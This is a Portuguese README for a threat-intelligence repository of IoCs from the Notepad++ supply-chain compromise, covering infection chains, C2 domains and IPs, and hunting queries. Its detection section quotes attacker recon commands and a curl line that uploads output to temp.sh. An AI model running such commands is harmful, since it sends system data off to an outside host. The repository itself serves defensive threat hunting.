Ataque à Cadeia de Suprimentos do Notepad++ — Repositório de IoCs

CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | Junho – Dezembro de 2025

Visão Geral

Este repositório contém uma coleção abrangente e consolidada de Indicadores de Comprometimento (IoCs) relacionada ao ataque à cadeia de suprimentos do Notepad++ divulgado em 2 de fevereiro de 2026.

Entre junho e dezembro de 2025, um ator de ameaça patrocinado pelo Estado chinês comprometeu a infraestrutura de hospedagem do Notepad++, sequestrando o mecanismo de atualização integrado (WinGUp) para entregar seletivamente instaladores trojanizados a usuários-alvo. O ataque explorou a ausência de verificação criptográfica no atualizador (pré-v8.8.9), permitindo a distribuição de backdoors personalizados, Beacons Cobalt Strike e payloads do Metasploit.

Fatos principais


CVE	CVE-2025-15556 — Download de código sem verificação de integridade
Ator de Ameaça	Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon)
Período Ativo	Junho de 2025 – 2 de dezembro de 2025
Vetor de Ataque	Comprometimento da cadeia de suprimentos via atualizador automático WinGUp
Alvos	Governo, telecomunicações, serviços financeiros, provedores de TI (Filipinas, Vietnã, El Salvador, Austrália, Leste Asiático)
Malware	Backdoor Chrysalis (personalizado), Beacon Cobalt Strike, Meterpreter do Metasploit
Corrigido em	Notepad++ v8.8.9+ (verificação de certificado) / v8.9.1+ (validação XMLDSig)

Cadeias de Infecção

A Kaspersky GReAT identificou três cadeias de infecção distintas, rotacionadas aproximadamente mensalmente para evadir a detecção:

Cadeia #1 — Julho/Agosto de 2025

GUP.exe → update.exe (NSIS) → ProShow.exe (legitimate) → exploit via "load" file
  → Metasploit downloader → Cobalt Strike Beacon

Abusa de uma vulnerabilidade antiga no software ProShow em vez de DLL sideloading
Reconhecimento: whoami && tasklist → exfiltrado via temp.sh
Diretório de trabalho: %appdata%\ProShow\

Cadeia #2 — Setembro/Outubro de 2025

GUP.exe → update.exe (NSIS) → script.exe (Lua interpreter) → alien.ini (compiled Lua)
  → shellcode via EnumWindowStationsW → Metasploit downloader → Cobalt Strike Beacon

Usa um interpretador Lua legítimo para executar shellcode compilado
Reconhecimento expandido: whoami && tasklist && systeminfo && netstat -ano
Diretório de trabalho: %appdata%\Adobe\Scripts\

Cadeia #3 — Outubro de 2025

GUP.exe → update.exe (NSIS) → BluetoothService.exe (legitimate) → log.dll (sideloaded)
  → decrypts "BluetoothService" shellcode → Chrysalis backdoor

Técnica clássica de DLL sideloading
Sem reconhecimento integrado (diferente das cadeias 1 e 2)
Diretório de trabalho: %appdata%\Bluetooth\
Beacon Cobalt Strike associado encontrado em C:\ProgramData\USOShared\

                     ┌─────────────────────────────────────────────────────────┐
                     │              COMPROMISE TIMELINE                        │
                     ├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
                     │  Jul 25 │  Aug 25 │  Sep 25 │  Oct 25 │  Nov 25 │Dec 25│
                     ├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
  Chain #1 (ProShow) │████████████████████                                    │
  Chain #2 (Lua)     │                    █████████████████████████████        │
  Chain #3 (DLL SL)  │                              ██████████████            │
  Infra access       │████████████████████████████████████████████████████████│
                     └────────────────────────────────────────────────────────┘

Conteúdo do Repositório

Arquivo	Descrição
`notepadpp_supply_chain_iocs.csv`	Conjunto completo de dados de IoCs (105 indicadores) com mapeamento MITRE ATT&CK

Esquema do CSV

Coluna	Descrição
`ioc_type`	Tipo: `ip`, `domain`, `url`, `sha1`, `sha256`, `filepath`, `filename`, `useragent`, `behavior`, `cve`, `attribution`, `compromise_window`
`ioc_value`	O valor do indicador
`chain`	Cadeia de infecção (`1`, `2`, `3`, `1/2`, `2/3`, `all`, `n/a`)
`context`	Descrição do que o IoC representa
`source`	Fonte de inteligência (`Kaspersky`, `Rapid7`, `CrowdStrike`, `Tenable`, `Kevin Beaumont`)
`risk`	Severidade (`CRITICAL`, `HIGH`, `MEDIUM`, `LOW`, `INFO`)
`mitre_technique`	ID da técnica MITRE ATT&CK

Detecção e Caça a Ameaças

Indicadores prioritários (comece por aqui)

Comportamentais — independentes de IoC, maior valor:

gup.exe gerando qualquer processo filho que não seja um instalador legítimo e assinado do Notepad++
gup.exe conectando-se a domínios/IPs diferentes de notepad-plus-plus.org, github.com, release-assets.githubusercontent.com
Criação de diretórios: %appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\
Criação de %localappdata%\Temp\ns.tmp\ (runtime do NSIS — presente em todas as cadeias)

Rede — alta confiança:

Resolução de DNS de cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.com
Conexões com temp.sh (51.91.79.17) — especialmente com upload de arquivo via curl
Requisições HTTP com URLs do temp.sh embutidas no cabeçalho User-Agent
Conexões de saída para 45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210

Comandos de reconhecimento (pós-exploração):

cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload

Consultas do CrowdStrike Falcon LogScale

Comportamental: caça a processos filhos do GUP.exe

#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])

Caça multi-IoC em eventos de processo, rede e DNS

Mais Populares

notepadpp-supply-chain-iocs